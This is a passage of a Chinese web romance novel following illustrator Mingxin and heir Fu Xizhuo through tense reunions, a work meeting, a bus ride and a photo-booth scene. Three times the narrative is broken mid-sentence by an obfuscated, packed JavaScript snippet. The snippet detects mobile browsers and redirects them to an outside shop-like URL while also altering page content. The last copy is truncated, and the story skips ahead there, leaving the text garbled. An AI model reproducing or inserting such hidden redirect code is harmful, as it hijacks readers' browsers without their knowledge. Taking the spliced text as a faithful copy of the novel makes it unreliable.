这是最普适的,使我们现在的生活保持平静而不至掀起风波的方案。 她本来想这么跟他说的。 可一对上他的眼睛,她就变得迟钝。 像一次都没排练过的舞台剧演员一样,她说不出一句像样的台词,只呆呆地点了点头:“……对。” “可我不喜欢。” 他答得很快,声音不重,却遍布刀枪。 “我不会和解。” “你愿意的话,我们就永远头破血流下去。” “不愿意,我也还是会做同样的事。” 说完,他起身下楼。 她的视线追着他走,发现在他裤脚的位置,添了几道脏脏的灰痕。 方才……他们面对面坐着。 她有个跷二郎腿的习惯,尤其紧张或者胡思乱想的时候,脚会一直翘起来上上下下。 想到他的裤脚一次又一次,被她撩上去,又放下来…… 铭心的脸轰得热了。 - 在一楼的吧台坐着,已经打了三个盹儿,才终于等到他从房间出来拿酒。 铭心腾地起身走到酒柜那儿。拦住他了,又还没组织好语言。 “还、还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315357|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是睡不好吗?”想了半天想出来的开场白。 他从以前开始就常常失眠,严重的时候要靠酒来助眠。 透明的酒液倾倒在杯里,他倒了半杯又全部喝干:“别假装关心我。” 怕他情绪激动就更睡不着,铭心把语气放得很柔:“就当成是真的关心,回答我一次不行吗?” “嗯,睡不好。” 他又添了一整杯酒,瓶底咚地一落,眼睛看进她眼睛里。 “因为你出现所以更糟糕,连酒都得加量才行。”他问,“你满意了吗?” “……” 她不满意。 他转身走。 “你的衣服——”铭心用话喊住他。 脚步一顿,他回过头。 铭心视线往下扫,发现她蹭上的污痕已经被他处理干净。 “吃饭的时候被我弄脏了,抱歉。” “故意的?” 他把那满杯到几乎溢出的酒往楼梯扶手上一坐,语调闲闲地,赏着酒杯,并不去看她。 “当然不是故意的,我当时走神了,不小心。” 话说出口却很像在推脱责任,铭心赶紧又改了口风:“如果能告诉我赔偿金额的话,我会赔的。” 他一撩眼皮,看向她,笑了。 “你有多少钱?” 是了。在傅氏集团继承人面前谈钱,显出格外的好笑来。 铭心撑着最后一点贫穷的自尊,翻出事实:“你裤子没坏只是脏了,如果可以洗的话……” “不能。” “那要怎么赔?” “既然不是故意的——” 停顿的时间里,她几乎以为他要大度地放过她了。 “我很愿意接受你的说法并且不再追究。” “那就……” “但是。” 他说但是。 “那是在我们关系好的前提下。” “可我们关系很差。”铭心抢过他的台词,“你是想说这个吧?” 他用相当赞赏的眼神,朝她走过来。似乎是在夸她讲对了。 俯下身,话跟呼吸就贴在她耳边,他说: “因为关系不好,所以如果再有下次—— “我会当做是在勾引。” “那这次呢?”铭心惶惶然。 “欠债。”他说,“我会找你还的。” - “怎么走了?” 梁宵一出来就看见美人倩影,走过去怪他哥:“你把人家气跑了?” 傅西灼不屑地扯唇:“她气我的时候你没看到。” “就算不喜欢人家你也得有点绅士风度吧,你看看你这一晚上……” 一个眼神杀过来,梁宵识趣地闭了嘴。 过了会儿,他哥主动出了声。 “知道她家在哪吗?” 梁宵愣了会儿才反应过来这个她是谁,略微无语道:“你俩这么不对付你还打听人家地址干嘛。” “好了好了你别瞪我了。”梁宵怂了,“我听江依说她今晚不回家了,早班机,直接住机场附近的酒店。这附近不好打车,我让大喇叭在后头跟着她了,要实在打不上就开车送她过去。” “……哎你怎么也走了?”梁宵在后头喊他哥,“说好的今晚睡我这儿呢!” …… 出了酒吧,人瞬间打了个激灵。 江依借给她的羽绒服很暖,但没了室内暖气的庇护,仍然能感受到专属于冬天的风的威力,凛冽而干燥,打在脸上像人的巴掌。 好累……铭心几乎是拖着步子在走路。明明也没干什么。 一整晚,他们待在一起,却没有能好好说话的时间。 楼房很高,因为是除夕,时至深夜也还是家家户户灯火通明。 她喜欢盯着这样的光景看,好像有明亮灯火的地方,就有幸福的家庭。 不知道走了多久,身后突然传来脚步声。下意识的警觉让她回过头。 与此同时—— 手腕被拉住。 一个温热而强硬的掌心包裹住她窄窄的腕骨,她嗅到他身上,扑面而来的风雪味。 明明不是下雪天…… 大概是因为太冷,他跑得又太急。 “去哪?” “……” “我在问你去哪。” 呼吸声很急,手上的力道也更重。他似乎……在竭力让自己不失控。 “今晚我……” 她语声很轻,因为冷而微微在抖。似乎反应过来自己的失控,他笑了下,把手松开了。铭心也把话停了。 很无力很颓然地,他红着眼圈,哑声,把炽烈目光探进她眼睛里。 “我还要……再等四年才能见到你吗?” 4. 第 4 章 无端的,她喉咙哽了一下,忘了自己原本要说的话。 别过头,她说:“……你别看我了。” 长他这模样的,甭管是表白还是憎恶,但凡往眼里添一勺“可怜”,对着人这么一盯,都有点无往不利的意思。 铭心不想吃他这套,硬着头皮当没看见。 静了静心,她才想起来他刚才问她要干什么去。 低下头,她从包里抽出一张名片:“有事可以打电话。” 但这样又有点不对…… 想了想,她的手又往包里伸。 这回是一小沓,把名片在手心比齐了递给他:“有工作的话可以联系我。” 这是铭心方才琢磨出的小巧思,尽管她本意是想借由名片给他联系方式,但如果只给一张,意图就太明显了。 而如果是一沓呢,事情可就不一样了。 按照傅西灼的性格,他必定会认为她是因为工作在跟他搞推销。 果然,名片到他手里,他连看都没看。 铭心装作丝毫不在意的样子看了眼手机,出租车快到了,她得到前面的站牌等着。 “电话和主营业务名片上有写,”她决定把戏演到底,“明天到初五我要外出度假,剩下的时间都可以找我谈工作。” 这番话听完,他才终于取出一张名片正反面打量了两眼。 看完,又合到那一沓里,抬眼,轻弯唇:“是不是有点太多了?” “可以给朋友,如果他们需要插画师欢迎向他们推荐我。”出租车已经在按喇叭,铭心胡乱地答了一气就准备走。 他却突然一扬手—— 漫天飞舞的名片霎时阻了她的去路。 铭心难以置信地张大嘴巴,看那些她亲手送出的纸片飞到半空又全部落回地上。 有一张甚至在他脚下,踩到了。 傅西灼看见了,把脚移开,抬头,闲闲地扯动嘴角。 他说:“我凭什么让你这么利用?” - 梁宵抱着羽绒服下车的时候看到他哥在捡垃圾。 他全世界最帅的哥只穿一件单薄而灌风的衬衫,蹲在地上小鸡啄米似的捡个不停。 样子说不上狼狈——毕竟人还是帅的。 但总归是看着有点别扭,有点可怜。 跑过去一看,白色的,像是纸片之类的什么东西。路灯昏昏的,也看不清。 梁宵今天穿的裤子很紧,蹲是能蹲下但也很费劲,本来没打算出手的,但他哥实在太墨迹。 一张一张地捡起来,吹干净,再捡下一张,仿佛不觉得冷,也不觉得慢。 这要是小鸡啊,这个吃饭速度早饿死了。 梁宵把羽绒服披给哥哥,弓着身子倒吊着一口气帮他很快地捡,又很快地吹,捡完了全揣进他哥羽绒服兜里。 他冻得直打哆嗦,嘴里叽里咕噜地话赶话:“行了行了快走吧祖宗,你这突如其来的公德心真是……你不捡明天也会有人捡的,放心吧打扫这条街的叔叔阿姨们都可敬业了……” 好不容易把人拉扯上了车,梁宵立刻把暖气开到最大。 看一眼他哥。 此人又恢复成了高贵冷傲的常态,仿佛刚刚狼狈捡纸的人是一场幻觉。 回想到那一幕,梁宵自个儿愣了会儿神。 他忽然觉得,刚才大街上捡纸的傅西灼也很像纸。 轻飘飘的,好像被抽走了力气,没有支撑。 车开了半程,终于看见一个垃圾桶,梁宵把车靠边停,提醒兼询问:“这有可回收垃圾桶,扔了吧?” 坐在副驾驶座的人却不说话也不动。 “哥?”梁宵又喊了声。 哥不理。 他只好无奈地启动车子。 转过一个大弯,梁宵又试探着问:“那都什么呀是对你有用的东西?” “嗯。” 对话都过去一个世纪了他哥终于应了声。“还没确定要不要用。” “那里面写了什么?”梁宵刨根问底。 “再见到某人的方法。” - 小时候看电视剧很入迷,想当吸血鬼。去阳光充沛的地方待了几天后,这念想紧跟着就烟消云散了。 太阳多好!要晒太阳才行啊!多晒! 铭心热烈地感叹了一番,把窗帘全拉开,仰倒在松软的床上。 酒店的床大,却没有她的狗窝好。 她打小就认床,每回出去玩都睡不好。睡不好,她也还是爱往外跑。熬那么几天也不算事儿,一玩起来就把累给忘了。 冬天的阳光苍白而稀薄地透过窗,斜斜打在计划表内一个红圈上。 啊,今天还有活儿要干呢。 简单的一个饭局,但对刚长途跋涉回来的人来说,也是挺累的一桩事。 铭心又在被子里温存了十分钟,才磨蹭着拉开被子,洗澡,紧接着换好衣服出门。 一路过了俩红绿灯才突然想起来——我怎么没坐公交车呢? 果然,在外面玩了几天对货币的感知都变弱了。打车多贵啊。 约的那家餐厅也挺奢侈,好在是甲方出钱。 “开始吗?” 服务员上了一杯水,铭心一口没喝,先把纸质版初稿递过去。 “先吃饭吧。”梁掌珠接过放到一边,而把菜单递给她,“喜欢吃什么?” 铭心边选菜边听她说。 “最终企划跟我发给你的有点区别,我找人给打印了送过来,他正往这赶呢。我们边吃边等。” “离得远吗?” “不远,我表弟,在这附近的S大教书,开车十分钟就到了。” 大学老师啊……怪不得姐姐气质也很高知。 还不到十分钟,就打旋转门进来了两个人。 俩人走一步撞一下肩膀,然后都被弹出半米,又撞。 好像要把对方碰死。 “让你别健身了吧?力气这么大!”戴眼镜的先说了。 “儿童身材闭嘴。”另一个回。 “我要闭嘴了你姐亲谁?” “想死吗?” 掌珠轻咳了一声,俩人都安静了。 紧接着她介绍: “这是历小姐,行业内很优秀的插画师,我们公司的重点合作对象。” 指了指眼镜男:“这是袁达,我爱人。” 铭心点点头:“你好。” 有点奇怪,掌珠没有向她介绍傅西灼。 “公司没有员工?什么时候连企划书都得我亲自来送了。”傅西灼边在菜单上勾了几样,一副悠然姿态来问罪。 “你腿儿又不值钱,闲着也没事。”掌珠喝了口咖啡,“我都亲自来了你来还不应当?” “所以啊谁让你来了。”傅西灼微微不爽,“你们公司流行老板打工?” “我也喜欢跟漂亮的人吃饭啊,有什么问题。”掌珠不在意。 “那你叫他来?”傅西灼动动下巴指袁达,“旁边这个丑的是怎么回事?” 掌珠抬手给了他一下:“臭小子,他他他的,我都结婚几年了你还不喊姐夫?” “没事儿,我都习惯了。他要哪天叫我姐夫了我都怕我折寿。”袁达瘪起嘴,用一种很委屈的口吻,并抬手擦擦不存在的眼泪。 “早饭都要吐出来了。”傅西灼嫌弃的表情藏都藏不住,“一把年纪了能别装可爱吗?” 袁达:“吐出来的话午饭我请你吃。” “不想让我吃饭直说,不用想出跟我共进午餐这种恶毒的招数。” 铭心被他俩这小学生式的互怼逗笑了,饶有趣味地看着。 袁达:“你到底为什么这么讨厌我?” “你不照镜子吗?” 傅西灼对准他咔嚓拍下一张照片,把手机一抛:“你长得实在——太,老,了。” 接过手机看自己照片的袁达:“……” “你拍了我多少张?你暗恋我吧你?” 傅西灼大概按到了连拍,袁达删自己照片的手都快划出火星子了。 突然,他“呦——”了一声,脸上皱巴巴的表情一扫而空,而把眉毛挑起来,眼尾吊起来,嗓音拔高了问: “这是谁呀?” 傅西灼一抬手,他就把手机一藏:“哎——不给。” 没再抢第二次,傅西灼手上开始数数:“一、二……” 手指增加到两根的时候,袁达把手机塞给他了:“给你给你,这么凶有人要你吗?别以后嫁不出去。” 说完,袁达的视线突然定格在铭心脸上。 铭心直觉他想做点什么,但他只是盯着她看了会儿,好半天才说了句莫名其妙的话。 “本人更好看呢。” 傅西灼又贴心地询问一遍他的人生大事:“你不想活了?” 袁达继续:“要不要告诉她你其实拍照技术一般?” 傅西灼冷笑:“你就长这样,谁来也不好使。” 袁达:“……” “结婚前说自己理想型是年纪小的美少年,结婚后……”傅西灼看一眼他姐,又瞟一眼袁达,摇了摇头。 “你老说年龄这事儿,”兴许是被嫌弃了太多遍,袁达忍不住提出抗议,“我年纪哪里大啦?我跟你同年的!” 片刻,傅西灼从头到脚地扫了一眼他。 “身份证造假了吧?” 沉默。袁达闭了闭眼。 如果怒气可以具象化,他这会儿头上估计在冒火了。 眼一睁开,他突然对铭心笑了一下,猛地提高音量道:“你知道他偷拍了你照片吗!?!” - “我还没治他呢你就让他走了……” “行啦,我那是给我弟创造点机会。” “什么机会?” “你觉得他俩有火花吗?”掌珠问。 “还火花呢?你弟天生就是消防员吧。最擅长给人泼冷水。”说完这话,立刻又想到傅西灼冷冰冰的脸,袁达抖了一下,“活脱脱一大冰山。” “那也得分对谁。”掌珠用一种“你这就不懂了吧”的语气:“我跟你说个劲爆的吧,他昨天拉铭心手了!” 袁达跟听到天方夜谭似的“啊”了声:“你找人跟踪你弟了?” “什么啊,大喇叭说的,还拍了张照片呢,我看着挺有氛围感的。” 掌珠把照片找出来。 “但你知道奇怪的是什么吗?他们昨天才第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315358|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见面——第一天养的小狗傅西灼都不会碰一下的,更别说会拉第一天见面的女人的手了。” “而且搞笑的是,人家貌似不领情。” 说到这掌珠忍不住笑出声,想到傅西灼这从小通吃到大的帅脸吃瘪,她语气激动。 “这小子顶着那样的脸在搞单恋呢!” “是吗?”袁达眼睛一亮,若有图谋,“那得让他吃点爱情的苦才行了……” - “这边!” 在楼下咖啡厅坐了十五分钟,铭心总算看到掌珠。立刻招手,指了指3号桌,同时自己也坐过去。 整整十五分钟,她跟傅西灼是分桌坐的,她提议,他没拒绝。因为掌珠过来,又移动到同一张桌子上。 “你们点了吗?” 铭心嗯了声,“但不知道你们俩爱喝什么。” “就我自己,”掌珠说,“别等袁达了,回去加班了。” “这么辛苦啊。” “接下来你也要辛苦啦。”说完,掌珠拍了拍傅西灼,他就乖乖从包里掏出来文件。 很少见此人这么乖巧的样子,铭心在心里偷笑。 一边准备好录音笔:“说一下意见和要求吧,我回去以后和企划书一起整理,给出方案。” 傅西灼起身,却被掌珠按下:“在这儿吧,不用回避,不是保密性工作。” 俩人都是事前做充分准备的性格,工作进行得很快。 一结束,掌珠迫不及待地转了话题:“介意聊点私事吗?” 合作好几次了而且性格也合得来,她自认跟掌珠并不生分:“你的还是我的?” “他的。”掌珠瞟向傅西灼。 当着当事人面,她问铭心:“他有点讨人厌吧?不亲近人,也不爱笑,也就只有长得帅这一个优点了。” 大概全天下的姐姐都爱先说点弟弟的不好,但心里又是爱着的,话说出口,总是起到更多的正向作用。 比如铭心听完她的话,脑子里就只有“长得帅”这一个论断。 “长得帅就是最大的优点啊。”颜控铭心如是说,“扔在人堆里绝对是超级受女孩欢迎的类型。” 听了她的大力夸赞,傅西灼也没什么反应。 铭心心里嘁了声,装什么装,明明开心死了吧。 不愿意看见此人冷脸,铭心起身去取咖啡,掌珠也跟着去。 俩人把咖啡打了包,准备走。铭心收录音笔时发现下面亮着红灯。 “忘了关怎么不提醒我。” 反正掌珠走了,她肆无忌惮地当傅西灼面嘟囔了句。 不知怎的,在他面前,她总忍不住要任性些。 “借我。”傅西灼没理会她刚才的埋怨而只管她要录音笔。 铭心立刻意识到他也是刚刚才知道录音笔没关,并且,里面一定录到了他的什么。 “你那么有钱就自己买一个呗,干嘛非得用我的。”故意地不给他。 傅西灼伸着手。 ……这么固执。 无语。 铭心倒不是怕他累着,只是看不过眼去,打算问明白再酌情考虑要不要给。 “里面录进了你的说话声?你觉得我录音笔侵你权了?” “有我的呼吸声。” “……”你自己听听这话靠谱吗。 铭心微笑纯属礼貌:“头一次听说呢,理由驳回。” - 回程坐的是公交车,晃晃悠悠快睡着了,司机一个紧急刹车又把人晃醒。 揉揉眼,看见个人。 铭心重新确认一遍车上的数字,57路。没上错啊,是回家的车。 “你也坐这辆车?” ……不对啊,他不是从来不坐公交车吗。 “不能坐吗。”傅西灼语气不咸不淡。 “能是能,但我听掌珠姐说你是开车来的。” “确实是。” “……?” 那为什么非要来挤公交啊! 车上也没别的空座,尽管不理解,铭心还是往旁边挪了挪:“坐吧。” 又递给他一颗糖,耳机也塞他一半,“觉得晕的话就睡一觉。” 难得这么听话,他真按照她说的合起眼,靠在靠背上,不再出声。 橘子糖的香气悠悠飘进鼻腔。 列表里的歌也都播放完了。 路程还长,铭心导出录音笔里面的音频,想趁这个时间整理成文字。 听了差不多半小时,工作内容都结束了,进度条却还有一截。 怎么回事?疑惑着点开。 ——长得帅就是最大的优点啊。 ——扔在人堆里绝对是超级受女孩欢迎的类型。 铭心失笑。……怎么连这都录上了。 手机里听自己的声音,还真让人起鸡皮疙瘩。 正准备关掉。 耳机里却突然传来了一声几不可闻的轻笑。 紧接着,有点怅惘而心碎似的,那声音…… “我这么受欢迎,你为什么不喜欢。” 铭心如逢触电,猛地扯掉耳机线。 一扭头,傅西灼露出吃痛的表情。 正与她四目相视。 5. 第 5 章 铭心的脸轰地烧起来。 垂下脑袋,她急急地把耳机线往小包里塞。 越塞越塞不进,一股线又冒出来纷乱地痒在她手背上。铭心干脆放弃了,往手里一团,努努力,使心硬起来。 我为什么要慌? 又不是听到了什么了不得的话,至于在意成这样吗? 他那句话是怎么说的来着? ——我这么受欢迎,那你为什么不喜欢? 怎么,他觉得靠他的脸就能征服世界上所有人吗? 尽管他也不一定就是这么认为的,但铭心这么一想,总之自己心里宽慰多了。对他自恋狂的论断压过了尴尬和慌乱,她重新甩出耳机线,抖开散在腿上,气定神闲地开始从头捋。 眼睛不看他,说话就容易多了:“睡得好吗?” “不好。”傅西灼的声音很平静。问:“骂我了?” 什么骂…… “你睡觉的时候我根本就没出声好吗?”铭心反驳,“再说了,我怎么可能偷偷骂你,要骂也是当面骂。” 语速一快,手上解线的动作又乱了。 “那慌什么。”他截线到手里,替她解剩下的一半,“手这么抖,越解越乱。” “我手冷,冻的。”不承认有别的原因。 解完,他还给她,顺势脱了衣服,盖到她腿上,“换一颗糖。” 铭心也没客气,把他的衣服在腿上裹紧了。“张开手。” 她放糖到他手心,那只手却突然一合,攥住了她手指。 “吃多了不会中毒吧?” “放心。”铭心困难地,把手抽出来。“这辆车经过医院,你晕倒的话我会喊司机师傅停车的。” 他笑。 有什么好笑的…… 铭心看见他哭不乐意,见他笑也不乐意,扭头去看窗外。 抬手在窗玻璃上画画,画完,有些沮丧。 她学了那么多年画,一碰到这种起雾的窗玻璃,起笔居然还是画心! 啊……感觉是被小时候的简笔画荼毒了。 想到他在旁边,这颗心无论如何都不合时宜,铭心立马擦掉了,偷眼去瞥他一下。 傅西灼脸色苍白,又闭上了眼睛。 她戳戳他手臂:“晕车?” “橘子糖中毒。”他说。 “别开玩笑了行不行,不舒服要说出来啊,下一站我们就下……” “不舒服的是你。” “什么?” “从拔掉耳机线开始,你一直都很不舒服。” 他睁开眼,捕住她视线,逼迫她与他四目相视。 “是跟我坐在一起这件事让你不舒服,还是我的话让你不舒服?” ……话? 铭心突然反应过来了。 “你、你都听见了?” “想装不知道,但看你实在坐立难安。”他弯一下嘴角,语气透出点体恤的意思,“相比你紧张到胃疼还是我直接挑明更好吧?” 对。 他没说错。 她的确是一直在为他的那句辨不出意图的话愁肠百结。 话明明是他说的,不管是表白还是埋怨,都不应该是她烦恼最多吧? 铭心也觉得委屈。 委屈着委屈着,狠心提出了一了百了的解决方案:“录音我会删除的,就当没发生过吧。” “无所谓。”他淡淡一句。“随口扯的梦话而已。” “是吗。”他这副浑不在意的姿态,铭心看着很不爽,“看你说的时候清醒着呢。” 说完,他一双好看的眼睛牢牢地看住她。 “如果是清醒着说的你要怎么办?” 他问:“打算回答我吗?” “你先回答我吧,”铭心从袁达的话里翻出点抵抗傅西灼攻势的材料,“你为什么偷拍我?” “……” “看吧,你也不想回答。那这样吧,一人一个问题等于没有问题,就当扯平了。”她伸出手来同他握。 傅西灼对着摆出个拳头。 铭心:“……” 铭心:“我不是在跟你玩石头剪刀布。” “平不了。”他用拳头撞到她的布上,“欠着吧。” - 周一,打完下班卡。 “不走吗?”方编辑拿一杯咖啡进来了,后头跟着陈会计。 “在想要不要加班,不想给这一周一个不好的开始但又有点活儿要赶。”铭心伸了伸懒腰,感觉脖子酸得像被老陈醋给浸了。 “那加一个呗,我也加,正好咖啡买一送一,喝了不困。” “买一送一?”一听到有优惠活动,铭心把椅子转过来了,问:“哪家店?” “就附近那个南岸啊,最近挺火的,老板成网红了。” 那家…… “我记得我去过一次,老板怎么说呢……有点奇怪。可爱聊天了完了以后还拉着我问有没有男朋友。” “正常,她就干这个的。” “啊?” “她有个自媒体账号在做红娘,粉丝快二十万了,她店现在已经成为相亲打卡圣地了,都说在那儿相了准能成。” “买一送一是去了就能领吗?”铭心不怎么关注相亲的事,注意力还是在咖啡上。 “要情侣才行,俩人都长得好看的话她还会给送终身会员然后拍照传到她账号上,算是种宣传手段吧。”方编辑滔滔不绝,“不过要是对象丑可得注意了,她对男的颜控挺严重,看到丑的会直接踹一脚,刚才陈尧就被踹了一脚呢。” “不会起纠纷吗?” “去的都是粉丝,好多女孩让自己男朋友去挨踢呢。”方编辑笑。 “何必呢。”铭心说。 方编辑:“没事儿反正踢一脚也不心疼。” 铭心:“直接谈个帅的不就好了。” “噗……”方编辑刚入口的咖啡喷了出来,并且瞪了一眼陈会计。 “什么时候下班?”陈会计看见眼神,过来问。 “加俩小时吧。”方编辑顺手在陈会计身上抹了把,手干净了,她才去拍拍铭心,“真挺划算的,因为今天是初雪,仅限一天,两杯才花一杯的钱,快去吧。” “可我单身呀。” “哎呀找个人随便扮一扮情侣啦,很容易的。” “你们——”她想说她跟陈会计,“这么干成功啦?” 方编辑点头:“找个加班的同事带过去,没问题的!” 同事有谁加班她不清楚,自己是没什么心思加班了。 本来好不容易克服了厌班情绪打算点杯咖啡挑灯苦战的,人家这一说有优惠,她有点不太想买了。 别人花一杯的价钱买到了两杯,这时候她再去买一杯,怎么想怎么不划算啊。 电梯“叮”的一声,到了。 她上去,刚要关门,林纵钻进来了。 “喝咖啡吗?”看来方编辑把优惠消息昭告天下了。“我正要去买,你去不去?” “你是说我们合作一下?” 林纵打了个响指:“有便宜不占王八蛋。” 外头没有雪,但挺冷的,俩人为寒冷所驱使,都走得很快。 进了店里,才觉出暖和。 这里头不像个咖啡店,几张桌子,旁边一个小屋,小屋里有一男一女身体扭成了奇怪的姿势,大概是在拍照,仿佛不介意跟外面的人分享他们的幸福似的,连帘子也不拉。 只有一个角落比较空,铭心看过去,傅西灼坐在那里。 他…… 也是在等相亲对象吗? 跟他对上视线,铭心慌乱地别过头。 走到前台,她问了问买一送一的情况。 老板问:“这是你男朋友?你们介意拍个照片给我做宣传吗?” 铭心说了不想露脸,老板有点为难似的:“脸打贴纸盖住也可以,但你男友的身材……” 林纵有点尴尬,但铭心看了他一眼,他把想说的话咽下去了。 “这个,”铭心指了指上方的宣传banner,“下次搞活动我能免费给你们画,而且比这个的精度要更好,重点更突出,”她来这趟可不单为了买一送一的一杯,“交换条件是你们的终身会员卡,怎么样?” 老板看了她一眼:“吹牛皮的多了去……” 铭心调出之前画过的一幅,把手机一横:“这是我画的。” 老板顿时收了声。低头点单:“喝什么?作为我们合作的第一份诚意。” “一杯摩卡……你要什么?”她问林纵。 林纵表情有点不高兴:“我自己买就行。” “你们真的是情侣?”老板突然用一种身经百战的毒辣眼光向她看过去。 铭心不会撒谎,一撒谎就露馅。 视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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既然想起来了,那也没什么耍赖的必要,何况铭心本来就是很玩得起的人:“可以,怎么还?” - 帘子一拉,眼前马上就黑了。 紧接着又一白,一个巨大的灯亮在他们头顶。 没想到他说的还债只是要求她一起拍个照,那还挺容易的。 “怎么拍?”铭心向他这个有经验的人请教,“我要站着不动还是比个耶?” “画画的时候不是姿势很多吗,现在倒贫瘠了。”他没好气。 “画人体的时候光着身子只画肉,现在呢,难道你光着身子?”铭心不甘示弱。 “你倒是想看。” “……”铭心闭了闭眼。 简直被这人的无耻程度震惊了。 决定不再挑战他的底线,她及时回归了正常流程:“我就这样站着了,你随意吧。” “有参考的姿势却不照做,还以为你有多大创意呢。”他讽了句,把一张覆了透明膜的A4纸举到她眼前,“我选还是你选?” 铭心看着上面乱七八糟的肢体交缠的方式,又是两眼一黑:“这都是情侣pose,而我只是来帮忙的。希望你搞清楚区别。” “跟那个有暴露癖的小子能拍跟我就不能拍?” 什么啊,她只是为了蹭咖啡而已,跟林纵压根没进行到拍照那步呢。何况要是早知道是这样的拍照,那她也不来了。 至于暴露癖什么的……铭心想了想这个称号的由来—— 羽绒服那天? 她有点震惊地问:“你真扒他衣服了?” “明明都来取情侣套餐了……”他笑了声,完全没在意她的问句似的,只陷在自己的思路里了,“冯岚姐绝对不会轻易让人蹭咖啡,你们怎么证明是一对的?也是这样干站着?” 铭心不说话了。 心里开始隐隐觉得,他叫她过来,不仅仅是为了拍照那么简单。 这里又太小,使人贴得太近。 害怕事情的发展超出她所预想的轨道,铭心抬手去拉帘子,“我不干了。” 扼住手腕。 又像早知道她的招数似的,把另一只手也打包在掌心。 单手扯下领带,绕细腕两圈,一个死结。 他抵她到薄的墙板上,贴耳: “不然我们干点别的?” 6. 第 6 章 铭心的眼眶湿了,有点恼。 她厌恶他对她这种超出界限的围猎。 因为她知道,此刻身体上的接近和触碰,都不是出于渴望亲昵的心理动机,而只是一种纯粹坏心的挑逗。 ——她曾经毁了他的生活,如今他要来毁掉她的了。 但是呢…… 又不能报警抓他。 真的好烦。 委屈的眼泪一旦出来,就跟开了闸似的,想往回收反而流得更快。眼看着要顺着自个儿下巴滴到他胸口了,铭心一抬手,全给抹他领带上了。 领带并不是常见的款式,看着像设计师款,按照他的调性大概又是“独一无二”“全球只有一件”“意大利手工匠人制造”吧。搪磁蓝的背景上间隔印着展翅欲飞的白鹤,被眼泪一浸,那蓝色更深了,衬得她皮肤雪白。 傅西灼盯着她瞧,说不清是觉得荒谬还是看起来好笑,轻扬了半边嘴角,手指一提,领带和她的手腕之间立刻空出了不小的缝隙。 铭心把手随便一抽,出来了。 “……” 原来他绑得很松。 死结是障眼法? 铭心睁大眼睛瞪他:“好笑吗?” “好哭。” “……”心里很想咬他掐他拽他头发。 但是忍住了。 她是说话算数且工作认真的人。 “拍吧,就按照第一个姿势,牵手。” 说完她擦干眼泪,设置好了相机,没等他同意就抓了他手。跟小时候往兜里藏糖果似的把十指相扣的两只手揣进他的大衣口袋里。 一进口袋,她的手立即松开。 然而照片上是看不出来的。反而还显着挺有情境感——冬天的大街上男生不总是会把女友的手放进自己口袋里取暖吗? 连拍了八张,铭心问他选哪张,问完了又自己选定:“这张吧这张我最好看。” “都决定好了再来问我意见的目的是?” 铭心一愣,决定听听他的:“……那你有什么意见?” “有。” “出去吧。”管他有没有的,有也不让提。打印了一张纸质版捏在手里,铭心示意他去开帘子。 “原本有两个,怕你再哭所以就免了,但为了公平起见,一个意见换一个问题,我宽宏大量,就只问一个问题——” “说什么呢絮絮叨叨的……”铭心打断他,“问吧问完了赶紧走。” “喜欢喝焦糖玛奇朵却为了耍帅买意式浓缩的。 “那个装货小子。” 铭心:你到底要给人家起多少外号…… “——在单恋你吗?” 手一紧,照片的边角划破了手心,一阵尖细的疼痛。 铭心把照片放进口袋,稳了稳气息,抬眼道:“涉及私人领域的不回答,不过你有喜欢的答案吗?有的话可以给个方向,我说给你听。” 傅西灼面无表情地比了个×。 “不是单向。”他不显露自己的心思那铭心就猜着说。 他的手放下来,不声不响攥成拳。 “是双向。” 铭心说完,顿了顿,问:“你是想听这种吗?” 傅西灼的脸瞬间冷下来。 “重新说。” ……看来不满意这个答案啊。 那没办法喽,她就是想让他不满意来着。 “单向的有你一个就够了吧?你不是在单方面讨厌我吗,毕竟……”铭心扯出个甜笑来,“我反正不讨厌你。” “哦。喜欢我?”他回问。 话里是含着笑的,眼神却没有任何笑意,风雨欲来的前兆,铭心知道。 她再接再厉,提起他莫名闯入的那个录音。 “看你因为有人不喜欢你产生了很多怨言,那我就喜欢你一下好了。” 她用很轻松的语调,调皮地眨一只眼。 傅西灼这回是真气笑了,压着嗓子,眼角那颗小小的泪痣都抖了一下。 “既然喜欢,”他要求她,“那你做出点实际行动看看。” 铭心是光准备了嘴皮子功夫,行动当然还没有。 他自己的行动倒是很快,铭心都赶不上了。 他一个劲儿地走,她锲而不舍地跟。 到一个拐角,他停下来。 铭心只顾着看手机,林纵给她发短信说先回去加班了,她正打着字回复呢,没料想他突然就不走了。脑袋撞到他胸上。 “……”从胸膛的起伏感知到一点怒气,铭心抬眼,立刻被他的视线捕住。 “我们同路?” 是同路,但这个理由说出来他不一定信,而且还会嗤之以鼻。 铭心指了指他手里,添一条事实证据:“有我的一杯,你绑架了我的咖啡。” 傅西灼这才舒缓了眉,低下眼,转动着看了眼标签:“喝哪个?” 不会这才反应过来拿走了她的咖啡吧……铭心腹诽。 下回直接给他手上拎十斤铁算了,反正也不觉得沉也意识不到是什么。 两杯都是她喜欢的:“都行,随便给一个吧。” 手一递,全给了她,他又转身,长腿一迈,一点不等她。 